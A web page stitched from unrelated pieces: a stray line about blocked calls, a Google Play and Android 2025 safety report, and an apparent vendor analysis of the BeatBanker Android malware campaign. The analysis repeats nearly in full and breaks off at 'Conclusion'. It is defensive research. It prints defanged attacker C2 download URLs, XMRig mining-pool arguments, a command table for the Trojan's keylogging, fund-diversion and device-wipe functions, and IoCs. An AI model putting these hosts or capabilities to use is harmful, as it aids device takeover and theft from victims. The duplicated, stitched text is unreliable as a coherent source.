1: This total comprises all instances where a message or call was proactively blocked or where a user was alerted to potential spam or scam activity.

Posted by Vijaya Kaza, VP and GM, App & Ecosystem Trust

The Android ecosystem is a thriving global community built on trust, giving billions of users the confidence to download the latest apps. In order to maintain that trust, we’re focused on ensuring that apps do not cause real-world harm, such as malware, financial fraud, hidden subscriptions, and privacy invasions. As bad actors leverage AI to change their tactics and launch increasingly sophisticated attacks, we’ve deepened our investments in AI and real-time defenses over the last year to maintain the upper hand and stop these threats before they reach users.

Upgrading Google Play’s AI-powered, multi-layered user protections

We’ve seen a clear impact from these safety efforts on Google Play. In 2025, we prevented over 1.75 million policy-violating apps from being published on Google Play and banned more than 80,000 bad developer accounts that attempted to publish harmful apps. These figures demonstrate how our proactive protections and push for a more accountable ecosystem are discouraging bad actors from publishing malicious apps, while our new tools help honest developers build compliant apps more easily. Initiatives like developer verification, mandatory pre-review checks, and testing requirements have raised the bar for the Google Play ecosystem, significantly reducing the paths for bad actors to enter.

User safety is at the core of everything we build. Over the years, we’ve continually introduced ways to help users stay safe and make informed app choices — from parental controls to data safety transparency and app badges. We’re constantly improving our policies and protections to encourage safe, high-quality apps on Google Play and stop bad actors before they cause harm.

Apps on Google Play undergo rigorous reviews for safety and compliance with our policies. Last year, we shared that Google Play runs over 10,000 safety checks on every app we publish, and we continue to check and recheck apps after they’ve been published. In 2025, we continued scaling our defenses even further by:

• Boosting AI-enhanced app detection: We integrated Google’s latest generative AI models into our review process, helping our human review team continue to find complex malicious patterns faster.
• Preventing unnecessary access to sensitive data: We prevented over 255,000 apps from getting excessive access to sensitive user data and continued to strengthen our privacy policies. Our commitment to privacy-forward app development, supported by tools like Play Policy Insights in Android Studio and Data safety section, has empowered developers to continue to: minimize privacy-sensitive permission requests, and prioritize the user in their design choices.
• Blocking spam ratings and reviews: Whether they lead to review inflation or deflation, spam ratings and reviews can negatively impact our users’ trust and our developers’ growth. We’re continually evolving our detection models to help ensure app reviews are accurate. Our anti-spam protections blocked 160 million spam ratings and reviews last year, including inflated and deflated reviews. We also prevented an average 0.5-star rating drop for apps targeted by review bombing, protecting our users and developers from unhelpful reviews.
• Safeguarding kids and families: Our approach to kids and families is built on the core belief that children deserve a safe, enriching digital environment. Our commitment is to empower parents with robust tools while providing children with access to high-quality, age-appropriate content. Last year, we announced new layers of protection, in addition to our existing safeguards, to prevent younger audiences from discovering or downloading apps involving activities like gambling or dating.

Enhancing Google Play Protect to help keep the entire Android ecosystem safe

We also continued to improve our protections for the broader Android ecosystem, by expanding Google Play Protect and real-time security measures like in-call scam protections to help keep users safe from scams, fraud, and other threats.

As Android’s built-in defense against malware and unwanted software, Google Play Protect now scans over 350 billion Android apps daily. This proactive protection constantly checks both Play apps and those from other sources to ensure they are not potentially harmful. And, last year, its real-time scanning capability identified more than 27 million new malicious apps from outside Google Play, warning users or blocking the app to neutralize the threat. To benefit from these protections, we recommend that users always keep Google Play Protect on.

While fraudsters are constantly evolving their tactics, Google Play Protect is evolving faster. Last year, we expanded:

• Enhanced fraud protection: Google Play Protect’s enhanced fraud protection analyzes and automatically blocks the installation of apps that may abuse sensitive permissions to commit financial fraud. This protection is triggered when a user attempts to install an app from an "Internet-sideloading source" — such as a web browser or messaging app — that requests a sensitive permission. Building on the success of our initial pilot in Singapore, we expanded enhanced fraud protection to 185 markets, now covering more than 2.8 billion Android devices. In 2025, we blocked 266 million risky installation attempts and helped protect users from 872,000 unique, high-risk applications.
• In-call scam protection: We also introduced new protections to combat social engineering attacks during phone calls. This feature preemptively disables the ability to turn off Google Play Protect during phone calls, stopping bad actors from being able to trick users into disabling their device's built-in defenses to download a malicious app while on a call.

Partnering with developers for a more secure, privacy-friendly future

Keeping Android and Google Play safe requires deep collaboration. We want to thank our global developer community for their partnership and for sharing their feedback on the tools and support they need to succeed.

In 2025, we focused on reducing friction for developers and providing them with tools to safeguard their businesses:

• Building safer apps more easily: We’re helping developers streamline their work by bringing insights directly into their natural workflows. It starts with Play Policy Insights in Android Studio, which gives developers real-time feedback as they code. We focused first on permissions and APIs that grant deeper system access or handle personal data, like location or photos. This gives developers a head start on policy requirements, including prominent disclosures or usage declarations, while they’re still building. When developers move to Play Console to prepare their apps for submission, our expanded pre-review checks help catch common reasons for rejection, like improper usage of credentials or permissions and broken privacy policy links, ensuring smoother, faster reviews.
• Stronger threat detection with Play Integrity API: Every day, apps and games make over 20 billion checks with Play Integrity API to protect against abuse and unauthorized access. In 2025, we added hardware-backed signals to make it even harder for bad actors to spoof devices and introduced new in-app prompts that let users fix common issues like network errors without leaving the app. We also launched device recall in beta to help developers identify repeat bad actors even after a device has been reset, all while protecting user privacy.
• Building trust through developer verification: We’ve seen how effective developer verification is on Google Play, and now we’re applying those lessons to the broader Android ecosystem. By ensuring there is a real, accountable identity behind every app, verification helps legitimize authentic developers and prevents bad actors from hiding behind anonymity to repeatedly cause harm. After gathering feedback during our early access period, we’ll open up verification to all developers this year. We’ve also added a dedicated account type for students and hobbyists, which will allow them to distribute these apps to a limited number of devices without the full verification requirements.
• Greater security with every Android release: In Android 16, developers can protect users’ most private information, like bank logins, with just one line of code. We’ve integrated this feature automatically to certain apps for an instant security boost against “tapjacking,” a trick where bad apps use hidden layers to steal clicks for ad fraud.

Looking ahead

Our top priority remains making Google Play and Android the most trusted app ecosystems for everyone. This year, we’ll continue to invest in AI-driven defenses to stay ahead of emerging threats and equip Android developers with the tools they need to build apps safely. To empower developers who distribute their apps on Google Play, we’ll maintain our focus on embedding checks to help build apps that are compliant by design, while providing guidance to help proactively avoid policy violations before an app is published. We’ll also roll out Android developer verifications to hold bad actors accountable and prevent them from hiding behind anonymity to cause repeated harm.

Thank you for being part of the Google Play and Android community as we work together to build a safer app ecosystem.

Recently, we uncovered BeatBanker, an Android‑based malware campaign targeting Brazil. It spreads primarily through phishing attacks via a website disguised as the Google Play Store. To achieve their goals, the malicious APKs carry multiple components, including a cryptocurrency miner and a banking Trojan capable of completely hijacking the device and spoofing screens, among other things. In a more recent campaign, the attackers switched from the banker to a known RAT.

This blog post outlines each phase of the malware’s activity on the victim’s handset, explains how it ensures long‑term persistence, and describes its communication with mining pools.

Key findings:

• To maintain persistence, the Trojan employs a creative mechanism: it plays an almost inaudible audio file on a loop so it cannot be terminated. This inspired us to name it BeatBanker.
• It monitors battery temperature and percentage, and checks whether the user is using the device.
• At various stages of the attack, BeatBanker disguises itself as a legitimate application on the Google Play Store and as the Play Store itself.
• It deploys a banker in addition to a cryptocurrency miner.
• When the user tries to make a USDT transaction, BeatBanker creates overlay pages for Binance and Trust Wallet, covertly replacing the destination address with the threat actor’s transfer address.
• New samples now drop BTMOB RAT instead of the banking module.

Initial infection vector

The campaign begins with a counterfeit website, cupomgratisfood[.]shop, that looks exactly like the Google Play Store. This fake app store contains the “INSS Reembolso” app, which is in fact a Trojan. There are also other apps that are most likely Trojans too, but we haven’t obtained them.

The INSS Reembolso app poses as the official mobile portal of Brazil’s Instituto Nacional do Seguro Social (INSS), a government service that citizens can use to perform more than 90 social security tasks, from retirement applications and medical exam scheduling to viewing CNIS (National Registry of Social Information), tax, and payment statements, as well as tracking request statuses. By masquerading as this trusted platform, the fake page tricks users into downloading the malicious APK.

Packing

The initial APK file is packed and makes use of a native shared library (ELF) named  libludwwiuh.so that is included in the application. Its main task is to decrypt another ELF file that will ultimately load the original DEX file.

First, libludwwiuh.so decrypts an embedded encrypted ELF file and drops it to a temporary location on the device under the name l.so. The same code that loaded the libludwwiuh.so library then loads this file, which uses the Java Native Interface (JNI) to continue execution.

l.so – the DEX loader

The library does not have calls to its functions; instead, it directly calls the Java methods whose names are encrypted in the stack using XOR (stack strings technique) and restored at runtime:

Initially, the loader makes a request to collect some network information using https://ipapi.is to determine whether the infected device is a mobile device, if a VPN is being used, and to obtain the IP address and other details.

This loader is engineered to bypass mobile antivirus products by utilizing dalvik.system.InMemoryDexClassLoader. It loads malicious DEX code directly into memory, avoiding the creation of any files on the device’s file system. The necessary DEX files can be extracted using dynamic analysis tools like Frida.

Furthermore, the sample incorporates anti-analysis techniques, including runtime checks for emulated or analysis environments. When such an environment is detected (or when specific checks fail, such as verification of the supported CPU_ABI), the malware can immediately terminate its own process by invoking android.os.Process.killProcess(android.os.Process.myPid()), effectively self-destructing to hinder dynamic analysis.

After execution, the malware displays a user interface that mimics the Google Play Store page, showing an update available for the INSS Reembolso app. This is intended to trick victims into granting installation permissions by tapping the “Update” button, which allows the download of additional hidden malicious payloads.

The payload delivery process mimics the application update. The malware uses the REQUEST_INSTALL_PACKAGES permission to install APK files directly into its memory, bypassing Google Play. To ensure persistence, the malware keeps a notification about a system update pinned to the foreground and activates a foreground service with silent media playback, a tactic designed to prevent the operating system from terminating the malicious process.

Crypto mining

When UPDATE is clicked on a fake Play Store screen, the malicious application downloads and executes an ELF file containing a cryptomining payload. It starts by issuing a GET request to the C2 server at either hxxps://accessor.fud2026.com/libmine-<arch>.so or hxxps://fud2026.com/libmine-<arch>.so. The downloaded file is then decrypted using CipherInputStream(), with the decryption key being derived from the SHA-1 hash of the downloaded file’s name, ensuring that each version of the file is encrypted with a unique key. The resulting file is renamed d-miner.

The decrypted payload is an ARM-compiled XMRig 6.17.0 binary. At runtime, it attempts to create a direct TCP connection to pool.fud2026[.]com:9000. If successful, it uses this endpoint; otherwise, it automatically switches to the proxy endpoint pool-proxy.fud2026[.]com:9000. The final command-line arguments passed to XMRig are as follows:

• -o pool.fud2026[.]com:9000 or pool-proxy.fud2026[.]com:9000 (selected dynamically)
• -k (keepalive)
• --tls (encrypted connection)
• --no-color (disable colored output)
• --nicehash (NiceHash protocol support)

C2 telemetry

The malware uses Google’s legitimate Firebase Cloud Messaging (FCM) as its primary command‑and‑control (C2) channel. In the analyzed sample, each FCM message received triggers a check of the battery status, temperature, installation date, and user presence. A hidden cryptocurrency miner is then started or stopped as needed. These mechanisms ensure that infected devices remain permanently accessible and responsive to the attacker’s instructions, which are sent through the FCM infrastructure. The attacker monitors the following information:

• isCharging: indicates whether the phone is charging;
• batteryLevel: the exact battery percentage;
• isRecentInstallation: indicates whether the application was recently installed (if so, the implant delays malicious actions);
• isUserAway: indicates whether the user is away from the device (screen off and inactive);
• overheat: indicates whether the device is overheating;
• temp: the current battery temperature.

Persistence

The KeepAliveServiceMediaPlayback component ensures continuous operation by initiating uninterrupted playback via MediaPlayer. It keeps the service active in the foreground using a notification and loads a small, continuous audio file. This constant activity prevents the system from suspending or terminating the process due to inactivity.

The identified audio output8.mp3 is five seconds long and plays on a loop. It contains some Chinese words.

Banking module

BeatBanker compromises the machine with a cryptocurrency miner and introduces another malicious APK that acts as a banking Trojan. This Trojan uses previously obtained permission to install an additional APK called INSS Reebolso, which is associated with the package com.destination.cosmetics.

Similar to the initial malicious APK, it establishes persistence by creating and displaying a fixed notification in the foreground to hinder removal. Furthermore, BeatBanker attempts to trick the user into granting accessibility permissions to the package.

Leveraging the acquired accessibility permissions, the malware establishes comprehensive control over the device’s user interface.

The Trojan constantly monitors the foreground application. It targets the official Binance application (com.binance.dev) and the Trust Wallet application (com.wallet.crypto.trustapp), focusing on USDT transactions. When a user tries to withdraw USDT, the Trojan instantly overlays the target app’s transaction confirmation screen with a highly realistic page sourced from Base64-encoded HTML stored in the banking module.

The module captures the original withdrawal address and amount, then surreptitiously substitutes the destination address with an attacker-controlled one using AccessibilityNodeInfo.ACTION_SET_TEXT. The overlay page shows the victim the address they copied (for Binance) or just shows a loading icon (for Trust Wallet), leading them to believe they are remitting funds to the intended wallet when, in fact, the cryptocurrency is transferred to the attacker’s designated address.

Target browsers

BeatBanker’s banking module monitors the following browsers installed on the victim’s device:

• Chrome
• Firefox
• sBrowser
• Brave
• Opera
• DuckDuckGo
• Dolphin Browser
• Edge

Its aim is to collect the URLs accessed by the victim using the regular expression ^(?:https?://)?(?:[^:/\\\\]+\\\\.)?([^:/\\\\]+\\\\.[^:/\\\\]+). It also offers management functionalities (add, edit, delete, list) for links saved in the device’s default browser, as well as the ability to open links provided by the attacker.

C2 communication

BeatBanker is also designed to receive commands from the C2. These commands aim to collect the victim’s personal information and gain complete control of the device.

Command	Description
0	Starts dynamic loading of the DEX class
Update	Simulates software update and locks the screen
msg:	Displays a Toast message with the provided text
goauth<*>	Opens Google Authenticator (if installed) and enables the AccessService.SendGoogleAuth flag used to monitor and retrieve authentication codes
kill<*>	Sets the protection bypass flag AccessService.bypass to “True” and sets the initializeService.uninstall flag to “Off”
srec<*>	Starts or stops audio recording (microphone), storing the recorded data in a file with an automatically generated filename. The following path format is used to store the recording: /Config/sys/apps/rc/<timestamp>_0REC<last5digits>.wav
pst<*>	Pastes text from the clipboard (via Accessibility Services)
GRC<*>	Lists all existing audio recording files
gtrc<*>	Sends a specific audio recording file to the C2
lcm<*>	Lists supported front camera resolutions
usdtress<*>	Sets a USDT cryptocurrency address when a transaction is detected
lnk<*>	Opens a link in the browser
EHP<*>	Updates login credentials (host, port, name) and restarts the application
ssms<*>	Sends an SMS message (individually or to all contacts)
CRD<*>	Adds (E>) or removes (D>) packages from the list of blocked/disabled applications
SFD<*>	Deletes files (logs, recordings, tones) or uninstalls itself
adm<>lck<>	Immediately locks the screen using Device Administrator permissions
adm<>wip<>	Performs a complete device data wipe (factory reset)
Aclk<*>	Executes a sequence of automatic taps (auto-clicker) or lists existing macros
KBO<*>lod	Checks the status of the keylogger and virtual keyboard
KBO<*>AKP/AKA	Requests permission to activate a custom virtual keyboard or activates one
KBO<*>ENB:	Enables (1) or disables (0) the keylogger
RPM<*>lod	Checks the status of all critical permissions
RPM<*>ACC	Requests Accessibility Services permission
RPM<*>DOZ	Requests Doze/App Standby permission (battery optimization)
RPM<*>DRW	Requests Draw Over Other Apps permission (overlay)
RPM<*>INST	Requests permission to install apps from unknown sources (Android 8+)
ussd<*>	Executes a USSD code (e.g., *#06# for IMEI)
Blkt<*>	Sets the text for the lock overlay
BLKV<*>	Enables or disables full-screen lock using WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY to display a black FrameLayout element over the entire screen
SCRD<> / SCRD2<>	Enables/disables real-time screen text submission to the C2 (screen reading)
rdall<*>	Clears or sends all keylogger logs
rdd<*>	Deletes a specific log file
rd<*>	Sends the content of a specific keylogger file
MO<*>	Manages application monitoring (add, remove, list, screenshot, etc.)
FW<*>	Controls VPN and firewall (status, block/allow apps, enable/disable)
noti<*>	Creates persistent and custom notifications
sp<*>	Executes a sequence of swipes/taps (gesture macro)
lodp<*>	Manages saved links in the internal browser (add, edit, delete, list)
scc:	Starts screen capture/streaming

New BeatBanker samples dropping BTMOB

Our recent detection efforts uncovered a campaign leveraging a fraudulent StarLink application that we assess as being a new BeatBanker variant. The infection chain mirrored previous instances, employing identical persistence methods – specifically, looped audio and fixed notifications. Furthermore, this variant included a crypto miner similar to those seen previously. However, rather than deploying the banking module, it was observed distributing the BTMOB remote administration tool.

The BTMOB APK is highly obfuscated and contains a class responsible for configuration. Despite this, it’s possible to identify a parser used to define the application’s behavior on the device, as well as persistence features, such as protection against restart, deletion, lock reset, and the ability to perform real-time screen recording.

String decryption

The simple decryption routine uses repetitive XOR between the encrypted data and a short key. It iterates through the encrypted text byte by byte, repeating the key from the beginning whenever it reaches the end. At each position, the sample XORs the encrypted byte with the corresponding byte of the key, overwriting the original. Ultimately, the modified byte array contains the original text, which is then converted to UTF-8 and returned as a string.

Malware-as-a-Service

BTMOB is an Android remote administration tool that evolved from the CraxsRAT, CypherRAT, and SpySolr families. It provides full remote control of the victim’s device and is sold in a Malware-as-a-Service (MaaS) model. On July 26, 2025, a threat actor posted a screenshot of the BTMOB RAT in action on GitHub under the username “brmobrats”, along with a link to the website btmob[.]xyz. The website contains information about the BTMOB RAT, including its version history, features, and other relevant details. It also redirects to a Telegram contact. Cyfirma has already linked this account to CraxsRAT and CypherRAT.

Recently, a YouTube channel was created by a different threat actor that features videos demonstrating how to use the malware and facilitate its sale via Telegram.

We also saw the distribution and sale of leaked BTMOB source code on some dark web forums. This may suggest that the creator of BeatBanker acquired BTMOB from its original author or the source of the leak and is utilizing it as the final payload, replacing the banking module observed in the INSS Reebolso incident.

In terms of functionality, BTMOB maintains a set of intrusive capabilities, including: automatic granting of permissions, especially on Android 13–15 devices; use of a black FrameLayout overlay to hide system notifications similar to the one observed in the banking module; silent installation; persistent background execution; and mechanisms designed to capture screen lock credentials, including PINs, patterns, and passwords. The malware also provides access to front and rear cameras, captures keystrokes in real time, monitors GPS location, and constantly collects sensitive data. Together, these functionalities provide the operator with comprehensive remote control, persistent access, and extensive surveillance capabilities over compromised devices.

Victims

All variants of BeatBanker – those with the banking module and those with the BTMOB RAT – were detected on victims in Brazil. Some of the samples that deliver BTMOB appear to use WhatsApp to spread, as well as phishing pages.

Conclusion

BeatBanker is an excellent example of how mobile threats are becoming more sophisticated and multi-layered. Initially focused in Brazil, this Trojan operates a dual campaign, acting as a Monero cryptocurrency miner, discreetly draining your device’s battery life while also stealing banking credentials and tampering with cryptocurrency transactions. Moreover, the most recent version goes even further, substituting the banking module with a full-fledged BTMOB RAT.

The attackers have devised inventive tricks to maintain persistence. They keep the process alive by looping an almost inaudible audio track, which prevents the operating system from terminating it and allows BeatBanker to remain active for extended periods.

Furthermore, the threat demonstrates an obsession with staying hidden. It monitors device usage, battery level and temperature. It even uses Google’s legitimate system (FCM) to receive commands. The threat’s banking module is capable of overlaying Binance and Trust Wallet screens and diverting USDT funds to the criminals’ wallets before the victim even notices.

The lesson here is clear: distrust is your best defense. BeatBanker spreads through fake websites that mimic Google Play, disguising itself as trustworthy government applications. To protect yourself against threats like this, it is essential to:

1. Download apps only from official sources. Always use the Google Play Store or the device vendor’s official app store. Make sure you use the correct app store app, and verify the developer.
2. Check permissions. Pay attention to the permissions that applications request, especially those related to accessibility and installation of third-party packages.
3. Keep the system updated. Security updates for Android and your mobile antivirus are essential.

Our solutions detect this threat as HEUR:Trojan-Dropper.AndroidOS.BeatBanker and HEUR:Trojan-Dropper.AndroidOS.Banker.*

Indicators of compromise

Additional IoCs, TTPs and detection rules are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

Host-based (MD5 hashes)
F6C979198809E13859196B135D21E79B – INSS Reebolso
D3005BF1D52B40B0B72B3C3B1773336B – StarLink

Domains
cupomgratisfood[.]shop
fud2026[.]com
accessor.fud2026[.]com
pool.fud2026[.]com
pool-proxy.fud2026[.]com
aptabase.fud2026[.]com
aptabase.khwdji319[.]xyz
btmob[.]xyz
bt-mob[.]net

Recently, we uncovered BeatBanker, an Android‑based malware campaign targeting Brazil. It spreads primarily through phishing attacks via a website disguised as the Google Play Store. To achieve their goals, the malicious APKs carry multiple components, including a cryptocurrency miner and a banking Trojan capable of completely hijacking the device and spoofing screens, among other things. In a more recent campaign, the attackers switched from the banker to a known RAT.

This blog post outlines each phase of the malware’s activity on the victim’s handset, explains how it ensures long‑term persistence, and describes its communication with mining pools.

Key findings:

• To maintain persistence, the Trojan employs a creative mechanism: it plays an almost inaudible audio file on a loop so it cannot be terminated. This inspired us to name it BeatBanker.
• It monitors battery temperature and percentage, and checks whether the user is using the device.
• At various stages of the attack, BeatBanker disguises itself as a legitimate application on the Google Play Store and as the Play Store itself.
• It deploys a banker in addition to a cryptocurrency miner.
• When the user tries to make a USDT transaction, BeatBanker creates overlay pages for Binance and Trust Wallet, covertly replacing the destination address with the threat actor’s transfer address.
• New samples now drop BTMOB RAT instead of the banking module.

Initial infection vector

The campaign begins with a counterfeit website, cupomgratisfood[.]shop, that looks exactly like the Google Play Store. This fake app store contains the “INSS Reembolso” app, which is in fact a Trojan. There are also other apps that are most likely Trojans too, but we haven’t obtained them.

The INSS Reembolso app poses as the official mobile portal of Brazil’s Instituto Nacional do Seguro Social (INSS), a government service that citizens can use to perform more than 90 social security tasks, from retirement applications and medical exam scheduling to viewing CNIS (National Registry of Social Information), tax, and payment statements, as well as tracking request statuses. By masquerading as this trusted platform, the fake page tricks users into downloading the malicious APK.

Packing

The initial APK file is packed and makes use of a native shared library (ELF) named  libludwwiuh.so that is included in the application. Its main task is to decrypt another ELF file that will ultimately load the original DEX file.

First, libludwwiuh.so decrypts an embedded encrypted ELF file and drops it to a temporary location on the device under the name l.so. The same code that loaded the libludwwiuh.so library then loads this file, which uses the Java Native Interface (JNI) to continue execution.

l.so – the DEX loader

The library does not have calls to its functions; instead, it directly calls the Java methods whose names are encrypted in the stack using XOR (stack strings technique) and restored at runtime:

Initially, the loader makes a request to collect some network information using https://ipapi.is to determine whether the infected device is a mobile device, if a VPN is being used, and to obtain the IP address and other details.

This loader is engineered to bypass mobile antivirus products by utilizing dalvik.system.InMemoryDexClassLoader. It loads malicious DEX code directly into memory, avoiding the creation of any files on the device’s file system. The necessary DEX files can be extracted using dynamic analysis tools like Frida.

Furthermore, the sample incorporates anti-analysis techniques, including runtime checks for emulated or analysis environments. When such an environment is detected (or when specific checks fail, such as verification of the supported CPU_ABI), the malware can immediately terminate its own process by invoking android.os.Process.killProcess(android.os.Process.myPid()), effectively self-destructing to hinder dynamic analysis.

After execution, the malware displays a user interface that mimics the Google Play Store page, showing an update available for the INSS Reembolso app. This is intended to trick victims into granting installation permissions by tapping the “Update” button, which allows the download of additional hidden malicious payloads.

The payload delivery process mimics the application update. The malware uses the REQUEST_INSTALL_PACKAGES permission to install APK files directly into its memory, bypassing Google Play. To ensure persistence, the malware keeps a notification about a system update pinned to the foreground and activates a foreground service with silent media playback, a tactic designed to prevent the operating system from terminating the malicious process.

Crypto mining

When UPDATE is clicked on a fake Play Store screen, the malicious application downloads and executes an ELF file containing a cryptomining payload. It starts by issuing a GET request to the C2 server at either hxxps://accessor.fud2026.com/libmine-<arch>.so or hxxps://fud2026.com/libmine-<arch>.so. The downloaded file is then decrypted using CipherInputStream(), with the decryption key being derived from the SHA-1 hash of the downloaded file’s name, ensuring that each version of the file is encrypted with a unique key. The resulting file is renamed d-miner.

The decrypted payload is an ARM-compiled XMRig 6.17.0 binary. At runtime, it attempts to create a direct TCP connection to pool.fud2026[.]com:9000. If successful, it uses this endpoint; otherwise, it automatically switches to the proxy endpoint pool-proxy.fud2026[.]com:9000. The final command-line arguments passed to XMRig are as follows:

• -o pool.fud2026[.]com:9000 or pool-proxy.fud2026[.]com:9000 (selected dynamically)
• -k (keepalive)
• --tls (encrypted connection)
• --no-color (disable colored output)
• --nicehash (NiceHash protocol support)

C2 telemetry

The malware uses Google’s legitimate Firebase Cloud Messaging (FCM) as its primary command‑and‑control (C2) channel. In the analyzed sample, each FCM message received triggers a check of the battery status, temperature, installation date, and user presence. A hidden cryptocurrency miner is then started or stopped as needed. These mechanisms ensure that infected devices remain permanently accessible and responsive to the attacker’s instructions, which are sent through the FCM infrastructure. The attacker monitors the following information:

• isCharging: indicates whether the phone is charging;
• batteryLevel: the exact battery percentage;
• isRecentInstallation: indicates whether the application was recently installed (if so, the implant delays malicious actions);
• isUserAway: indicates whether the user is away from the device (screen off and inactive);
• overheat: indicates whether the device is overheating;
• temp: the current battery temperature.

Persistence

The KeepAliveServiceMediaPlayback component ensures continuous operation by initiating uninterrupted playback via MediaPlayer. It keeps the service active in the foreground using a notification and loads a small, continuous audio file. This constant activity prevents the system from suspending or terminating the process due to inactivity.

The identified audio output8.mp3 is five seconds long and plays on a loop. It contains some Chinese words.

Banking module

BeatBanker compromises the machine with a cryptocurrency miner and introduces another malicious APK that acts as a banking Trojan. This Trojan uses previously obtained permission to install an additional APK called INSS Reebolso, which is associated with the package com.destination.cosmetics.

Similar to the initial malicious APK, it establishes persistence by creating and displaying a fixed notification in the foreground to hinder removal. Furthermore, BeatBanker attempts to trick the user into granting accessibility permissions to the package.

Leveraging the acquired accessibility permissions, the malware establishes comprehensive control over the device’s user interface.

The Trojan constantly monitors the foreground application. It targets the official Binance application (com.binance.dev) and the Trust Wallet application (com.wallet.crypto.trustapp), focusing on USDT transactions. When a user tries to withdraw USDT, the Trojan instantly overlays the target app’s transaction confirmation screen with a highly realistic page sourced from Base64-encoded HTML stored in the banking module.

The module captures the original withdrawal address and amount, then surreptitiously substitutes the destination address with an attacker-controlled one using AccessibilityNodeInfo.ACTION_SET_TEXT. The overlay page shows the victim the address they copied (for Binance) or just shows a loading icon (for Trust Wallet), leading them to believe they are remitting funds to the intended wallet when, in fact, the cryptocurrency is transferred to the attacker’s designated address.

Target browsers

BeatBanker’s banking module monitors the following browsers installed on the victim’s device:

• Chrome
• Firefox
• sBrowser
• Brave
• Opera
• DuckDuckGo
• Dolphin Browser
• Edge

Its aim is to collect the URLs accessed by the victim using the regular expression ^(?:https?://)?(?:[^:/\\\\]+\\\\.)?([^:/\\\\]+\\\\.[^:/\\\\]+). It also offers management functionalities (add, edit, delete, list) for links saved in the device’s default browser, as well as the ability to open links provided by the attacker.

C2 communication

BeatBanker is also designed to receive commands from the C2. These commands aim to collect the victim’s personal information and gain complete control of the device.

Command	Description
0	Starts dynamic loading of the DEX class
Update	Simulates software update and locks the screen
msg:	Displays a Toast message with the provided text
goauth<*>	Opens Google Authenticator (if installed) and enables the AccessService.SendGoogleAuth flag used to monitor and retrieve authentication codes
kill<*>	Sets the protection bypass flag AccessService.bypass to “True” and sets the initializeService.uninstall flag to “Off”
srec<*>	Starts or stops audio recording (microphone), storing the recorded data in a file with an automatically generated filename. The following path format is used to store the recording: /Config/sys/apps/rc/<timestamp>_0REC<last5digits>.wav
pst<*>	Pastes text from the clipboard (via Accessibility Services)
GRC<*>	Lists all existing audio recording files
gtrc<*>	Sends a specific audio recording file to the C2
lcm<*>	Lists supported front camera resolutions
usdtress<*>	Sets a USDT cryptocurrency address when a transaction is detected
lnk<*>	Opens a link in the browser
EHP<*>	Updates login credentials (host, port, name) and restarts the application
ssms<*>	Sends an SMS message (individually or to all contacts)
CRD<*>	Adds (E>) or removes (D>) packages from the list of blocked/disabled applications
SFD<*>	Deletes files (logs, recordings, tones) or uninstalls itself
adm<>lck<>	Immediately locks the screen using Device Administrator permissions
adm<>wip<>	Performs a complete device data wipe (factory reset)
Aclk<*>	Executes a sequence of automatic taps (auto-clicker) or lists existing macros
KBO<*>lod	Checks the status of the keylogger and virtual keyboard
KBO<*>AKP/AKA	Requests permission to activate a custom virtual keyboard or activates one
KBO<*>ENB:	Enables (1) or disables (0) the keylogger
RPM<*>lod	Checks the status of all critical permissions
RPM<*>ACC	Requests Accessibility Services permission
RPM<*>DOZ	Requests Doze/App Standby permission (battery optimization)
RPM<*>DRW	Requests Draw Over Other Apps permission (overlay)
RPM<*>INST	Requests permission to install apps from unknown sources (Android 8+)
ussd<*>	Executes a USSD code (e.g., *#06# for IMEI)
Blkt<*>	Sets the text for the lock overlay
BLKV<*>	Enables or disables full-screen lock using WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY to display a black FrameLayout element over the entire screen
SCRD<> / SCRD2<>	Enables/disables real-time screen text submission to the C2 (screen reading)
rdall<*>	Clears or sends all keylogger logs
rdd<*>	Deletes a specific log file
rd<*>	Sends the content of a specific keylogger file
MO<*>	Manages application monitoring (add, remove, list, screenshot, etc.)
FW<*>	Controls VPN and firewall (status, block/allow apps, enable/disable)
noti<*>	Creates persistent and custom notifications
sp<*>	Executes a sequence of swipes/taps (gesture macro)
lodp<*>	Manages saved links in the internal browser (add, edit, delete, list)
scc:	Starts screen capture/streaming

New BeatBanker samples dropping BTMOB

Our recent detection efforts uncovered a campaign leveraging a fraudulent StarLink application that we assess as being a new BeatBanker variant. The infection chain mirrored previous instances, employing identical persistence methods – specifically, looped audio and fixed notifications. Furthermore, this variant included a crypto miner similar to those seen previously. However, rather than deploying the banking module, it was observed distributing the BTMOB remote administration tool.

The BTMOB APK is highly obfuscated and contains a class responsible for configuration. Despite this, it’s possible to identify a parser used to define the application’s behavior on the device, as well as persistence features, such as protection against restart, deletion, lock reset, and the ability to perform real-time screen recording.

String decryption

The simple decryption routine uses repetitive XOR between the encrypted data and a short key. It iterates through the encrypted text byte by byte, repeating the key from the beginning whenever it reaches the end. At each position, the sample XORs the encrypted byte with the corresponding byte of the key, overwriting the original. Ultimately, the modified byte array contains the original text, which is then converted to UTF-8 and returned as a string.

Malware-as-a-Service

BTMOB is an Android remote administration tool that evolved from the CraxsRAT, CypherRAT, and SpySolr families. It provides full remote control of the victim’s device and is sold in a Malware-as-a-Service (MaaS) model. On July 26, 2025, a threat actor posted a screenshot of the BTMOB RAT in action on GitHub under the username “brmobrats”, along with a link to the website btmob[.]xyz. The website contains information about the BTMOB RAT, including its version history, features, and other relevant details. It also redirects to a Telegram contact. Cyfirma has already linked this account to CraxsRAT and CypherRAT.

Recently, a YouTube channel was created by a different threat actor that features videos demonstrating how to use the malware and facilitate its sale via Telegram.

We also saw the distribution and sale of leaked BTMOB source code on some dark web forums. This may suggest that the creator of BeatBanker acquired BTMOB from its original author or the source of the leak and is utilizing it as the final payload, replacing the banking module observed in the INSS Reebolso incident.

In terms of functionality, BTMOB maintains a set of intrusive capabilities, including: automatic granting of permissions, especially on Android 13–15 devices; use of a black FrameLayout overlay to hide system notifications similar to the one observed in the banking module; silent installation; persistent background execution; and mechanisms designed to capture screen lock credentials, including PINs, patterns, and passwords. The malware also provides access to front and rear cameras, captures keystrokes in real time, monitors GPS location, and constantly collects sensitive data. Together, these functionalities provide the operator with comprehensive remote control, persistent access, and extensive surveillance capabilities over compromised devices.

Victims

All variants of BeatBanker – those with the banking module and those with the BTMOB RAT – were detected on victims in Brazil. Some of the samples that deliver BTMOB appear to use WhatsApp to spread, as well as phishing pages.

Conclusion

